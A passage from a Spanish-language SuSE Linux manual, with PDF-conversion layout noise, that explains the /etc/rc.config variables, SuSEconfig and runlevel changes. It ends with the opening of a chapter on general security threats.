Cada uno de los scripts en /sbin/init.d carga como primer fichero /etc/rc.config para acoger los valores actuales de cada variable. * * 435 17. El concepto de_arranque_de_SuSE______Linux____________________________________________________________________________________* *_______________________________________@ ________________________________________________________________________________________________________* *________||| | * * ||| | Desde SuSE Linux 6.0 hay ciertos paquetes con amplias posibilidades * * ||| | de configuración, cuyas variables se traspasan a ficheros individuales * * ||| | * * ||| | en el directorio /etc/rc.config.d; algunos ejemplos son el paquete * * ||| | sendmail o elpaquete i4l (RDSI). * * ||| | * * ||| | * * ||| | ¡No obstante en este apartado se considera generalmente que todas las * * ||| | * * ||| | variables se encuentran en /etc/rc.config! * * ||| |_______________________________________________________________________________________________________* *________|||_ Además se pueden generar muchos más ficheros de configuración del sistema en dependencia de /etc/rc.config; de esto se encarga /sbin/SuSEconfig . Así p. ej. , después de un cambio en la configuración de la red se genera de nuevo el fichero /etc/resolv.conf, porque depende de la manera de cómo esté configurado. Entonces si se realizan cambios en /etc/rc.config, se debe ejecutar poste- riormente SuSEconfig , para asegurar, que los datos prefijados actúen en todos los sitios correspondientes. Si se cambia la configuración con YaST , entonces no hay que preocuparse expresamente de esto; YaST ejecuta automática- mente SuSEconfig , con lo cual se actualizan los ficheros correspondientes. Este concepto permite realizar cambios fundamentales en la configuración de la computadora, sin necesidad de arrancar de nuevo; no obstante algunos cambios son muy profundos y, según las circunstancias, algunos programas tienen que ser arrancados nuevamente. Este procedimiento se describe p. ej. en la configuración de la red (ver apartado 5.2 en la página 157Configuración manual de la red ~ ¿Dónde tocar?section.5.2), donde con la utilización de los comandos tierra: # /sbin/init.d/network stop tierra: # /sbin/init.d/network start se conseguía que los programas afectados por los cambios se arrancaran de nuevo. Como se puede observar, los Init-scripts también pueden ser ejecuta- dos manualmente. Generalmente para la configuración del sistema se aconseja el siguiente pro- cedimiento: o Conmutar el sistema en el ''single user mode'': tierra: # init S Alternativamente se puede usar el Runlevel 1, el cual permite además realizar un login desde varias consolas: tierra: # init 1 o Realizar los cambios requeridos en el fichero de configuración /etc/rc. config. Esto se puede hacer con cualquier editor o con YaST bajo el punto `Modificar fichero de configuración' (ver apartado 17.6 en la página siguiente). o Ejecutar SuSEconfig , para realizar los cambios en los diferentes ficheros de configuración. Esto ocurre automáticamente si el fichero /etc/rc. config es modificado con YaST . o Regresar el sistema al Runlevel anterior: tierra: # init 2 436 ___________________________17.6.__Las_variables_en_/etc/rc.config______________~_Configuración_de_sistema___________________* *______________________ Este procedimiento solo es necesario en caso de cambios amplios en la con- figuración del sistema (p. ej. configuración de la red); para tareas sencillas de administración no hace falta entrar en el ''single user mode''; sin embar- go, así se asegura que todos los programas afectados por las modificaciones arranquen de nuevo. _______________________________________________________________________________________________________________________|| |||||||| Para desconectar siempre la configuración automática vía SuSEconfig , se ||| | |||||||| || | |||||||| puede activar la variable en la /etc/rc. || | |||||||| config (ver la advertencia en en esta página). También es posible, medi- || | |||||||| || | |||||||| ante variables adecuadas de rc.config deshabilitar la configuración au- || | |||||||| tomática selectivamente. || | ||||||||_______________________________________________________________________________________________________________||_ 17.6 Las variables en /etc/rc.config A continuación se comentarán brevemente los parámetros individuales del sistema y sus estados. Si no se trata el fichero de configuración /etc/rc. config con YaST , se ha de tener cuidado de anotar un parámetro vacío como dos comillas consecutivas (p. ej. KEYTABLE="" ) y de anotar también los parámetros que contienen espacios entre comillas. Para variables que se componen de una palabra no hace falta hacerlo. En la siguiente descripción, cada parámetro tiene un valor para explicar las posibles variaciones: Configuraciones básicas o ENABLE_SUSECONFIG=yes Determina si SuSEconfig tiene que realizar una configuración. No se debe apagar nunca si se quiere utilizar el soporte de instalación ;-) o MAIL_REPORTS_TO=tux Determina a quién envía SuSEconfig informes para la administración del sistema vía + E-Mail. o GMT=-u Si el Hardware-Reloj está fijado a GMT (Greenwich Mean Time), se fija esta variable a -u 4 , sino se deja vacía. Este ajuste es importante para el cambio automático de tiempo de verano a invierno y viceversa. o TIMEZONE=CET La franja horaria donde se vive. Es importante también para el cambio automático de tiempo de verano a invierno y viceversa. o LANGUAGE="german" Lo define YaST , cuando se ha hecho una modificación al respecto con `Eligir el idioma' (ver apartado 3.3.1 en la página 84Definir el idiomasubsection.3.3.1). El valor que se define aquí sirve tam- bién de referencia cuando no están definidos ni LANG ni las variables LC_* ; en tal caso el valor indicado se resuelve mediante el fichero /usr/share/locale/locale.alias. 4 ____________________________________________________ El -u es una abreviatura para universal time. * * 437 17. El concepto de_arranque_de_SuSE______Linux____________________________________________________________________________________* *_______________________________________@ o RC_LANG="de_DE" Define LANG para locale ; con ello es posible definir un valor por defecto para los usuarios. Este valor es válido hasta el momento en que se definan algunas variables RC_LC_* especiales. Las variables típicas de rc.config son: RC_LC_ALL (¡Con esta última se puede sobre-escribir la LC_* tal como la LANG!), RC_LC_MESSAGES , RC_LC_CTYPE , RC_LC_MONETARY , RC_LC_NUMERIC , RC_LC_TIME * * y RC_LC_COLLATE . Ver página del manual de locale (man 5 locale ). o ROOT_USES_LANG="no" Esto es para definir si también se deben usar los ajustes tipo locale para `root'. o INIT_SCRIPT_USE_LANG="no" ¿Usarlocale en scripts de tipo init ? Mejor no hacerlo ;-) o ENABLE_SYSRQ="no" Observar el interior del kernel; antes de activarlo es imprescindible leer /usr/src/linux/Documentation/sysrq.txt! Inicializar hardware local (Teclado, modem, mouse, PCMCIA etc.) o KEYTABLE=de-latin1-nodeadkeys Define la distribución del teclado. o KBD_NUMLOCK=no |_____________|BloqnoNumconectar en el proceso de arranque. o KBD_CAPSLOCK=no |________________|BloqnoMayúsconectar en el proceso de arranque. o KBD_TTY="tty1 tty2__tty3__tty4 tty5__tty6"______ El efecto de |B____________l|oqy Num|_____________B|loqseMayúspuede restringir a determinados TTY's; "" representa todos los TTY's o KBD_RATE=30 Determina la velocidad de repetición de teclas. Posibles configuraciones son de 2 a 30 veces por segundo. Para que tengan efecto los valores determinados, al mismo tiempo se tiene que determinar el retardo (ver KBD_DELAY )! o KBD_DELAY=250 Aquí se puede introducir el retardo, después de que entre la función de repetición. El valor es en milisegundos, pero los pasos no son muy exac- tos. También se tiene que fijar KBD_RATE ! o CONSOLE_FONT=mr.fnt La fuente que se debe cargar para la consola. No todas las fuentes sopor- tan la diéresis alemana! Con YaST se pueden probar tranquilamente todas las fuentes y fijar la que más guste. Ajustes adicionales se realizan medi- ante: CONSOLE_SCREENMAP , CONSOLE_UNICODEMAP y CONSOLE_MAGIC * * . o MODEM=/dev/ttyS1 La interface a la cual está conectado el modem. Desde YaST o SuSEc- onfig se crea un enlace desde /dev/modem al device determinado. 438 ___________________________17.6.__Las_variables_en_/etc/rc.config______________~_Configuración_de_sistema___________________* *______________________ o MOUSE=/dev/ttyS2 La interfaz a la cual está conectado el mouse. Desde YaST o SuSEconfig se crea un enlace desde /dev/mouse al device determinado. o START_GPM=yes Controla si se inicia el soporte del mouse para la consola; con ello se puede transferir texto mediante el mouse entre diferentes consolas. GPM presenta problemas al trabajar con algunos mouse de Bus, por tanto, si ocurren problemas con el mouse al manejar X, se debería dejar de iniciar GPM o utilizar directamente xdm , ya que en el Runlevel 3 generalmente no se ejecuta GPM . o GPM_PARAM=" -t logi -m /dev/mouse" Los parámetros para el GPM ; normalmente se abastecen de YaST . o PCMCIA=i82365 Sirve para ajustar el chipset; valores válidos son i82365 o tcic . Si se define la variable como "" , no arranca el PCMCIA-Subsystem. Es posible realizar ajustes finos mediante las variables PCMCIA_PCIC_OPTS y PCMCIA_CORE_OPTS . o START_ISAPNP=yes Inicializar ISA PnP durante el arranque. o INITRD_MODULES="aic7xxx" Los nombres de los módulos que el kernel debe cargar durante el arranque (p. ej. para poder acceder al disco duro). Todas las entradas razonables y necesarias se efectúan durante la instalación o la actualización; ver apartado 16.2 en la página 411Arrancar con ''initial ramdisk''section.16.2. o START_KERNELD=yes Esta opción determina si se inicia automáticamente el daemon del kernel cuando arranca la computadora o no. Este daemon se encarga de lev- antar módulos de kernel según necesidad. Con el kernel estándar actual (versión 2.2.xx) no se necesita kerneld . ~ En el apartado 13.2 en la página 351Kmod ~ el ''Kernel Module Loader''section.13.2 hay una in- troducción corta sobre el concepto de módulos. Configurar e iniciar servicios de red y locales o START_LOOPBACK=yes Determina si se instala una Mini-Red, en la cual se configura el denom- inado Loopback-Device. Debería ser activado ya que muchos programas necesitan esta funcionalidad 5 . o CHECK_ETC_HOSTS=yes Determina si SuSEconfig ha de comprobar y modificar /etc/hosts. o BEAUTIFY_ETC_HOSTS=no Si quiere que SuSEConfig se encargue de ordenar /etc/hosts. o SETUPDUMMYDEV=yno Determina si el Dummy-Device debe estar instalado; esto es útil en casos de conexiones no-permanentes de red (p. ej. SLIP oder PPP), sin embargo, si tiene una tarjeta Ethernet, a veces esta función deja de ser útil. 5 ____________________________________________________ Naturalmente el Kernel debe dar soporte de red l! * * 439 17. El concepto de_arranque_de_SuSE______Linux____________________________________________________________________________________* *_______________________________________@ o CREATE_HOSTCONF=yes Determina si SuSEconfig ha de comprobar y modificar /etc/host. conf. o CREATE_RESOLVCONF=yes Determina si SuSEconfig ha de comprobar y modificar la /etc/resolv.conf. Si yes está activado y una de las variables SEARCHLIST o NAMESERVER está vacía, entonces se supone que ningún DNS es requerido y /etc/ resolv.confpuede ser borrado. En el caso de que se active no , entonces se deja /etc/resolv.conf sin modificar. o NETCONFIG=_0 Determina cuántas tarjetas (u otros dispositivos de red) tiene instalada la computadora. Aquí se indica el ejemplo para una tarjeta de red (se enumeran empezando por 0); en una máquina con dos tarjetas debería aparecer NETCONFIG="_0 _1" . En una computadora sin tarjeta de red no se introduce nada. o IPADDR_0=193.141.17.202 La dirección-IP para la primera tarjeta de red. o NETDEV_0=eth0 El nombre del primer dispositivo de red (normalmente una tarjeta de red Ethernet), por esto el valor eth0 . Otros posibles valores son str1 o plip1 . Si la computadora dispone de más de una tarjeta de red, se activan paralelamente las variables NETDEV`1 hasta NETDEV`3. o IFCONFIG_0="193.141.17.205 broadcast 193.141.17.255 netmask 255.255.255.192" El comando de configuración para el primer dispositivo de red. Se ac- tiva muy fácilmente con YaST . Si se tiene más de una tarjeta de red se introducen aquí las correspondientes variables en la línea de comandos. o NETWORK_0="-net 193.141.17.0" La dirección de red para la primera tarjeta. Si se utilizan conexiones Point-To-Point (p. ej. con PLIP) YaST pone esta variable al valor "-host 193.141.17.202" , que corresponde a la dirección IP de la contraparte PPP. o CLOSE_CONNECTIONS=false Si está activado true y el ''Runlevel'' es 0 ó 6 (halt o reboot ), /sbin/init.d/route envía una señal SIGTERM a todos los procesos que tienen una conexión ''remote tcp''- o ''udp'' abierta. o IP_DYNIP=no Activar el ''dynamic IP patch'' durante el tiempo de arranque; con yes el script /sbin/init.d/boot libera este parche mediante una entrada en el sistema de ficheros /proc. o IP_TCP_SYNCOOKIES=yes Activar la protección contra ''Syn Flooding'' (ingl. syn flood protection). o IP_FORWARD=no Para que la computadora pase información a través de dos interfaces de red, la variable IP_FORWARD debe estar en yes . Se trata de algo deseado o quizás necesario en el caso de un enrutador o para ''Masquerading''. El script /sbin/init.d/boot pone en funcionamiento ''IP-Forwarding'' mediante una entrada en el sistema de ficheros /proc. 440 ___________________________17.6.__Las_variables_en_/etc/rc.config______________~_Configuración_de_sistema_____________________* *____________________ o FQHOSTNAME=tierra.cosmos.univ El nombre totalmente cualificado, es decir, el nombre completo com- puesto de nombre de computadora y nombre de dominio. o SEARCHLIST=cosmos.univ Este comando se utiliza para completar un nombre de un Host que no lo esté. Si se utiliza p. ej. el nombre venus, se comprueba si venus.cosmos.univ es un nombre válido para una computadora. Esta variable tiene que ser suministrada si se quiere utilizar DNS! Como míni- mo se debe introducir su nombre de dominio. Se pueden introducir hasta tres comandos en la ''searchlist'', que deben estar separados por espacios vacíos. o NAMESERVER=193.141.17.193 La dirección del Name-Server, la cual pregunta si el nombre de la com- putadora debe ser convertido en una dirección IP. Se pueden introducir hasta 3 Nameserver, donde sus direcciones están separadas por espacios vacíos. Si se quiere utilizar un Nameserver, se debe dar un valor a la variable SEARCHLIST ! o ORGANIZATION="Duck, Patolandia" El texto introducido aquí aparece en cada News-Posting que se envía desde la computadora correspondiente. o NNTPSERVER=sol.cosmos.univ La dirección del Servidor de Noticias; si se recibe las noticias vía UUCP y se almacenan localmente, se debe introducir aquí localhost . o IRCSERVER=sol.cosmos.univ Aquí se pueden introducir varios IRC-Server (Internet Relay Chat). Los nombres de los diferentes servidores se separan aquí mediante espacios. o START_INETD=yes Activa el ''súper-daemon'' del tipo inetd , que reacciona frente a peticiones de conexión por parte de otras computadoras e inicia, según el puerto elegido, el servicio correspondiente. Se necesita para poder acceder a la computadora vía rlogin o telnet . No obstante, se pone START_INETD en no , si se quiere usar el xinetd (ver a en esta página). o START_XINETD=no Activa el ''súper-daemon'' xinetd , el inetd extendido (ver en esta página). Usando este ''extended Internet services daemon'', START_INETD debe estar seleccionado con el valor no . o SENDMAIL_xxxx= El significado de las variables en sendmail se explica en apartado 6.8 en la página 204Vamos a escribir ~ Configuración de sendmailsection.6.8. o START_POSTFIX=no Activa el servidor de correo postfix . Las variables que le corresponden son POSTFIX_CREATECF , POSTFIX_RELAYHOST , POSTFIX_MASQUERADE_DOMAIN y POSTFIX_LOCALDOMAINS . o SMTP=no Determina si el daemon de Sendmail debe correr. No hace falta activar * * 441 17. El concepto de_arranque_de_SuSE______Linux____________________________________________________________________________________* *_______________________________________@ esta opción si recibe su E-Mail exclusivamente por UUCP, suponiendo que ejecuta sendmail -q después de cada recepción de correo (polling), ya que UUCP llama a rmail y éste solamente coloca el mensaje adentro de la cola de recepción pero no lo ''entrega''. En una red, en la que todos los directorios de recepción de mensajes se montan vía NFS y donde cada computadora no tiene más que mensajes salientes, esta variable también puede estar en no ; lo mismo es válido usando un ''Relay Hosts''. o START_PORTMAP=no La variable determina si el ''Portmapper'' (mapeador de puertos) debe arrancar, lo que hace falta si la computadora debe actuar como servi- dor NFS (ver apartado 5.5 en la página 168NFS ~ sistemas de ficheros distribuidossection.5.5). Sin el Portmapper no se pueden arrancar los daemons rpc.mountd y rpc.nfsd , por lo que el Portmapper se inicia tam- bién cuando esta variable vale no con NFS_SERVER activado. El Portmap- per también es necesario para usar NIS (ver apartado 5.4 en la pági- na 166NIS, las páginas amarillas del LANsection.5.4). o NFS_SERVER=no Poner esta variable en yes para que la computadora actúe como servidor NFS. El efecto es el inicio de lo daemons rpc.nfsd y rpc.mountd . Hay más explicaciones detalladas sobre el funcionamiento de un servidor NFS (p. ej. la definición de los directorios a exportar) en al apartado 5.5 en la página 168NFS ~ sistemas de ficheros distribuidossection.5.5. o REEXPORT_NFS=no Poner el valor de esta variable a yes , para poder reexportar directorios montados del tipo NFS o NetWare. o NFS_SERVER_UGID=yes Aquí se determina si el daemon para la conversión de los IDs de usuario y grupo (rcp.ugidd ) se debe activar; hay que activar este servicio sobre el cliente NFS en cuestión. o USE_KERNEL_NFSD="no" Es posible usar el daemon NFS basado en el kernel, si el paquete knfsd está instalado. Este daemon permite ''Locking''; ver la variable correspon- diente USE_KERNEL_NFSD_NUMBER . o START_AMD=no Iniciar el Automounter; si no existen buenas razones para ello, es preferi- ble usar el módulo del kernel autofs (ver más abajo en esta página). o START_AUTOFS=no Este daemon permite montar automáticamente directorios locales (lec- tores CD-ROM, Disqueteras, etc.) al igual que aquellos que se accedan vía NFS. El paquete autofs, serie n debe estar instalado y configurado. o START_RWHOD=no Decide sobre el arranque de rwhod . Se debe tener cuidado, ya que el rwhod envía continuamente ''Broadcasts'' que pueden provocar costes si se levantan conexiones por demanda de RDSI y/o diald . o START_ROUTED=no Este daemon de encaminar (ingl. route daemon) solo se necesita para el ''routing'' dinámico (ver página del manual de routed (man routed )). 442 ___________________________17.6.__Las_variables_en_/etc/rc.config______________~_Configuración_de_sistema_____________________* *____________________ ¡Atención! se trata de un servicio que provoca tráfico de red cada 30 se- gundos. Por eso carece completamente de sentido activar la opción con yes si la computadora está conectada a Internet por Dialup (p. ej. RDSI). o START_NSCD=yes Iniciar durante el arranque el daemon NSCD (ingl. Name Service Caching Daemon). o START_NAMED=no Determina si arranca o no el daemon de nombre. o CREATE_YP_CONF=yes Aquí se define si SuSEconfig debe generar automáticamente los ficheros necesarios para el uso de YP (ver apartado 5.4 en la página 166NIS, las páginas amarillas del LANsection.5.4) . Además se adaptan según necesidad los ficheros de configuración /etc/passwd y /etc/group. o YP_DOMAINNAME=cosmos.univ El nombre de dominio YP de la computadora. Hay información más detallada en el apartado 5.4 en la página 166NIS, las páginas amarillas del LANsection.5.4. o YP_SERVER=sol.cosmos.univ El nombre del servidor NIS. o USE_NIS_FOR_RESOLVING=no Usar o no usar NIS para resolver los nombres de las computadores. o START_CIPED=no Iniciar el daemon CIPE para un túnel IPIP. o START_DHCPD=no Iniciar el servidor de DHCP (ingl. Dynamic Host Configuration Proto- col). A esta configuración pertenecen las variables DHCPD_INTERFACE , START_DHCRELAY y DHCRELAY_SERVERS . o START_LDAP=no Iniciar el servidor LDAP. o START_RADIUSD=yes Iniciar Radius-Accounting y Authentication Service. Existen p. ej. deter- minados servidores Dialin que usan este servicio para la autentificación de usuario; ver la documentación en /usr/doc/packages/radiusd. o START_LPD=yes Iniciar el daemon de impresión lpd (ingl. Line Printer Daemon), que se necesita generalmente para imprimir. o START_NNTPD=yes Iniciar nntpd , que permite el acceso a noticias locales vía NNTP. o START_INN=no Iniciar servidor de noticias INN. o START_ATD=yes Con esta variable se puede iniciar el daemon AT. Este permite ejecutar ciertas tareas en un determinado momento. En comparación al daemon Cron, se trata de una acción que se realiza una sola vez. o START_HTTPD=yes Indica si se debe iniciar el daemon http Apache. * * 443 17. El concepto de_arranque_de_SuSE______Linux____________________________________________________________________________________* *_______________________________________@ o START_HTTPSD=yes Determina si se debe iniciar el servidor web ''seguro'' Apache-httpsd us- ando SSL y PHP3. o START_SQUID=no Indica si Squid debe iniciarse. o DOC_HOST="" Si existe un servidor central con documentación que contiene el sistema de ayuda de SuSE , se debería indicar aquí el nombre del mismo p. ej. "sol.cosmos.univ" . o DOC_SERVER=no El servidor que lleva la documentación debe tener esta variable definida en yes . En este caso el acceso a http-rman se otorga en función de las indicaciones en DOC_ALLOW (ver la próxima variable) y los ficheros de índice del servidor se reconfiguran al respecto. En lugar de indicar http://localhost indicarán http://`hostname-f`. o DOC_ALLOW="LOCAL" Lista de las computadoras o de los dominios como plantilla de /etc/ hosts.allow, para determinar aquellas que tienen acceso al servidor de documentación. La variable solo se contempla cuando DOC_SERVER está en yes . También es posible indicar un sub-dominio (p. ej. ".cosmos.univ" ). o HTTP_PROXY="" Hay algunos programas (p. ej. lynx , arena o wget ) que son capaces de usar un servidor proxy si esta variable está configurada al respecto. SuSEconfig puede definirla en /etc/SuSEconfig/* (ver en el banco de datos de soporte SDB http://sdb.suse.de/sdb/de/html/lynx_proxy.html). Ejemplo: "http://proxy.provider.de:3128/" . o FTP_PROXY="" Proxy para FTP. Ejemplo: "http://proxy.provider.de:3128/" . o GOPHER_PROXY="" Proxy para Gopher. Ejemplo: "http://proxy.provider.de:3128/" . o NO_PROXY="" Con esta variable es posible excluir sub-dominios del proxy. Ejemplo: "www.me.de, do.main, localhost" . o START_HYLAFAX=no Con esa variable se inicia Hylafax. Antes de ponerla en yes hay que ejecutar faxsetup . o START_SMB=no Iniciar el servidor Samba, que es un servidor de ficheros y de impresión para clientes Windows. o START_MARSNWE=no Indica si se debe iniciar la emulación de servidor de Novell o START_SSHD=yes Iniciar el ''Secure Shell Daemon''; antes de iniciarlo asegure la existencia de un ''host key'' ~ ver la documentación en /usr/doc/packages/ssh y las Manpages. 444 ___________________________17.6.__Las_variables_en_/etc/rc.config______________~_Configuración_de_sistema_____________________* *____________________ o START_XNTPD=yes Inicia el ''Network Time Protocol (NTP) Daemon'' del paquete xntp; la configuración misma se realiza en el fichero /etc/ntp.conf. Los relojes de ajuste automático vía onda electromagnética (''Reloj atómi- co'') tienen direcciones IP de la forma wert127.127.T.U. T representa el tipo de reloj y U es el número de unidad entre 0 y 3 . ~ La mayoría de estos relojes necesitan un puerto serie o un bus especial. El fichero de dispositivo previsto para ello (+ Dispositivo) se indica normalmente con un enlace simbólico /dev/device-U hacia el hardware real. U debe co- incidir con el número de unidad mencionado anteriormente; ver también /usr/doc/packages/xntp/html/refclock.htm. Ejemplo: Teniendo un ''reloj atómico'', que se conecta al puerto serie, se debe establecer el enlace simbólico correspondiente. El nombre del mismo se indica en refclock.htm. ~ El driver ''PARSE'' se encarga de los receptores de onda típicos del tipo DCF77. ## Type 8 Generic Reference Driver (PARSE) ## Address: 127.127.8.u ## Serial Port: /dev/refclock-u Si se selecciona p. ej. server 127.127.8.0 mediante una entrada en ntp.conf, también hace falta definir un enlace simbólico de /dev/ refclock-0 a ttySx; x representa aquí la interfaz usada para la conex- ión. o XNTPD_INITIAL_NTPDATE="" Lista de los servidores NTP que proporcionan la hora antes de iniciar el servidor local; p. ej. "sol.cosmos.univ". Cuando se indican varios servidores es necesario separarlos con un espacio. o DISPLAYMANAGER="" Define si el ''login'' se realiza en la consola de texto o en modo gráfico con el sistema X Window. Los valores admitidos son xdm (administrador de ventanas estándar del sistema X Window), kdm (administrador de ven- tanas estándar de KDE) o "" . En el último caso se supone que no se desea un login gráfico y por tanto la computadora se inicia en el nivel de ejecu- ción 2 (ingl. Runlevel 2), usando como configuración predeterminada la consola de texto. o KDM_SHUTDOWN=root Indica cuáles son los usuarios que tienen el derecho de apagar (Reboot o Shutdown) la computadora a través de kdm. Los valores admitidos son root (`root' tiene que identificarse con su contraseña), all (todos los usuarios), none (nadie puede apagar la com- putadora vía kdm) y local (solo hay permiso de parar la computadora si el usuario ha entrado al sistema desde la consola y no a través de la red). Si se indica "" , se usa root como el valor por defecto. o CONSOLE_SHUTDOWN=reboot Aquí se determina el comportamiento del__proceso_ init respecto_ a__la___ introducción de la combinación de teclas |C__________o|ntrol+ |A____l|t+ |S_______u|ppr. Los valores admitidos son: reboot (la computadora cierra el sistema y se reinicia), halt (la computadora se para y según el tipo también se apaga) * * 445 17. El concepto de_arranque_de_SuSE______Linux____________________________________________________________________________________* *_______________________________________@ e ignore (apretar la combinación de teclas no tiene ningún efecto). La variable está por defecto en reboot . o START_AXNET=no Servidor para Applixware. o START_MYSQL=no Servidor para MySQL . o START_ADABAS=no Servidor para el programa Adabas , al cual pertenecen las siguientes vari- ables: DBROOT , DBNAME , DBUSER y DBCONTROL ~ ver los comentarios al respecto en rc.config. o START_DB2=no Servidor para DB2. o START_ARKEIA=no Iniciar el servidor de respaldo Arkeia . o START_ARGUS=no Servidor para Argus (monitor de red). o ARGUS_INTERFACE=eth0 La interfaz que Argus debe ''vigilar''. o ARGUS_LOGFILE="/var/log/argus.log" El fichero de registro de Argus . ¡Puede llegar a tener un tamaño muy grande! o CRON=yes Manipula el inicio y la terminación del daemon cron. ¡Este daemon inicia automáticamente programas a una determinada hora y solamente se puede iniciar en los niveles de ejecución 2 y 3! Se recomienda encarecidamente su uso en computadoras que están en funcionamiento las 24h del día. El daemon AT es una alternativa o un suplemento (ver en la página 443Con- figurar e iniciar servicios de red y localesHfootnote.77). ________________________________________________________________________________________________________* *________ | Hay una serie de opciones que requieren la ejecución periódica de deter- * * |||| | * * ||| | minados programas. Es por eso que el daemon cron debe estar activado en * * ||| | todos los sistemas. * * ||| |_______________________________________________________________________________________________________* *________|||_ Seguridad y servicios de mantenimiento locales o RUN_UPDATEDB=yes Determina si se debe actualizar una vez por noche el banco de datos para el programa locate (locate ); locate sirve para encontrar rápida- mente ficheros en el sistema. Es posible adaptar el servicio updatedb a las necesidades con las variables RUN_UPDATEDB_AS , UPDATEDB_NETPATHS , UPDATEDB_NETUSER y UPDATEDB_PRUNEPATHS (ver los comentarios en rc.config). ~ Si la computadora no está continuamente encen- dida, es posible que esta actualización se lleve a cabo poco después del inicio de la misma (ver apartado 16.6.1 en la página 429paquete cronsubsection.16.6.1. o REINIT_MANDB=yes Activar esta opción si se quiere que cron.daily actualice diariamente el banco de datos de las Manpages. 446 ___________________________17.6.__Las_variables_en_/etc/rc.config______________~_Configuración_de_sistema_____________________* *____________________ o CREATE_INFO_DIR=yes Determina si se debe generar automáticamente el fichero /usr/info/ dir que contiene un índice de todas las páginas de información existentes. Es especialmente interesante cuando se ha instalado un paquete que con- tiene una página del tipo Info. ¡Tenga en cuenta que se debe instalar perl para aprovechar esta característica! o CHECK_PERMISSIONS=set Esta variable determina si las autorizaciones de un fichero se comprueban mediante la información en /etc/permissions. Definiendo set se cor- rigen las configuraciones falsas, con warn solo aparecen ''Advertencias'', y con no se apaga esta característica. o PERMISSION_SECURITY="easy local" Hay tres niveles de seguridad preparados /etc/permissions.paranoid, /etc/permissions.secure y /etc/permissions.easy. Indicar aquí easy , secure o /etc/permissions.paranoid . Se puede definir una configuración propia p. ej. en /etc/permissions.local e indicarla después con local . o RPMDB_BACKUP_DIR=/var/adm/backup/rpmdb Determina el lugar en el cual cron.daily debe escribir respaldos del banco de datos RPM; si no se desean respaldos de esto, se ha de poner la variable en "" . o MAX_RPMDB_BACKUPS=5 Determina la cantidad de respaldos del banco de datos RPM. o DELETE_OLD_CORE=yes Corefiles son imágenes de la memoria RAM de programas que se termi- naron por una violación de la protección de memoria y se pueden usar para averiguar el error ocurrido. La variable permite activar la búsque- da periódica de ficheros Core antiguos para su posterior eliminación au- tomática. o MAX_DAYS_FOR_CORE=7 Esta variable determina la edad máxima (en días) de los ficheros de core antes de borrarlos automáticamente. o MAX_DAYS_FOR_LOG_FILES=365 Cuando un fichero de registro (generalmente en /var/log) alcanza un determinado tamaño, éste se comprime automáticamente y se archiva. Después, un mensaje por correo lo indica al súper-usuario root. Esta variable determina cuánto tiempo se almacenan estos ficheros de registro antes de borrarlos automáticamente. Si el valor está en 0 no se comprime ni se archiva nada. ¡Los ficheros de registro se siguen escribiendo en- tonces para la eternidad y pueden por tanto llegar a ser muy grandes! Para ver los ficheros comprimidos se puede usar less . o MAX_DAYS_IN_TMP=30 Cada día se comprueba si existen en el directorio tmp ficheros que no hayan sido usados para más días que los indicados en la variable. Si existe un fichero así, se borra automáticamente. o TMP_DIRS_TO_CLEAR="/tmp /var/tmp" Indicación de aquellos directorios para los que se realiza la búsqueda de ficheros ''antiguos''. * * 447 17. El concepto de_arranque_de_SuSE______Linux____________________________________________________________________________________* *_______________________________________@ o OWNER_TO_KEEP_IN_TMP="root bs" Los ficheros de los usuarios que se indican aquí no se borran de los direc- torios temporales aunque ya se les considere ''antiguos''. o CWD_IN_ROOT_PATH=no El directorio actual forma parte (o no) de la rama de búsqueda de `root'. o ROOT_LOGIN_REMOTE=no Permitir (o no) el Login para `root' vía telnet o vía rlogin . Los aspectos de seguridad al respecto se tratan en en la página 461El in- etd subsection.18.2.2. o SUSEWM_UPDATE=yes Aquí se determina si SuSEconfig debe adaptar los ficheros de con- figuración del sistema para los gestores de ventas, en función de los paquetes de software instalados. Esto se puede personalizar mediante las variables SUSEWM_WM , SUSEWM_MWM , SUSEWM_XPM , SUSEWM_ADD * * y SUSEWM_COMPAT . 448 Parte VIII Seguridad y otros buenos consejos 449 Capítulo 18 Seguridad y Confianza 18.1 Fundamentos Los peligros latentes en Internet son noticia constante en los medios de co- municación; casi cada día aparece una nueva amenaza para la computadora en casa o para toda la red de una empresa que, por lo general, se manifiesta en forma de virus; sin embargo, es posible protegerse de ellas. Antes de comentar los distintos mecanismos de protección hay que aclarar lo que realmente significa seguridad1 (ingl. Security) y cuáles son las amenazas de las que nos debemos proteger. Los siguientes 6 aspectos muestran el amplio campo de lo que representa la seguridad en un sistema informático: 1. Protección de los recursos 2. Acceso a la información 3. Disponibilidad de los datos 4. Integridad de los datos 5. Confidencialidad de los datos (marco legal, p. ej. en consultorios médicos, bancos, etc.) 6. Privacidad Cualquier concepto de seguridad debe garantizar estos 6 aspectos. Para garan- tizarlos es importante considerar también los peligros que conlleva la rotura de hardware, como p. ej. el ''headcrash'' (caída del cabezal) de un disco duro, o cintas de respaldo defectuosas. _______________________________________________________________________________________________________________________|| |||||||| Una parte elemental de un buen concepto de seguridad son los respaldos ||| | |||||||| periódicos de todos los datos, cuya integridad en el medio de respaldo || | |||||||| || | |||||||| (cinta, etc.) debe ser comprobada. || | ||||||||_______________________________________________________________________________________________________________||_ En resumen, existen las siguientes posibilidades para ''atacar'' una computa- dora o la red de la que forma parte: Los usuarios que trabajan directamente con la computadora representan la mayor amenaza. Los accesos indebidos no necesariamente se realizan a propósito, pero tampoco se pueden descartar por completo los intentos de violar_la_seguridad_por_parte_de_empleados.__________ 1 Los anglosajones usan con mucha frecuencia el término Trust, que se refiere básicamente al grado de confianza que tiene el usuario en su sistema. * * 451 18. Seguridad y Confianza_________________________________________________________________________________________________________* *_______________________________________@ Comunicación que podría ser interceptada a través de redes locales o redes públicas, como es el caso de Internet; además, estas redes ofrecen la posibilidad de violar la seguridad desde lugares remotos. Acceso directo a computadoras por ladrones u otras personas no autor- izadas; robo o sabotaje. Catástrofes naturales como rayos o inundaciones que pueden dañar los equipos. Hardware y software defectuoso que puede poner los datos en peligro de ser borrados o que individuos no autorizados accedan a ellos; también es posible que un fallo de software deje fuera de funcionamiento a todo el sistema o a un determinado servicio (ver el apartado 81 en la pági- na 456Denial of ServiceHfootnote.81). Medios de almacenamiento como disquetes, cintas o discos duros se pueden deteriorar o pueden ser robados. Campos electromagnéticos emitidos por cada computadora, monitor o ca- ble de red (se pueden visualizar con los aparatos adecuados). Estos cam- pos se transmiten también a través de la tubería y los cables eléctricos; las pantallas planas también emiten radicación. En este capítulo consideramos sobre todo los dos primeros aspectos, porque es justamente en estos donde el uso planificado de SuSE Linux puede reducir considerablemente el peligro de intrusiones. Los demás aspectos no interesan tanto al usuario privado, sin embargo, deben 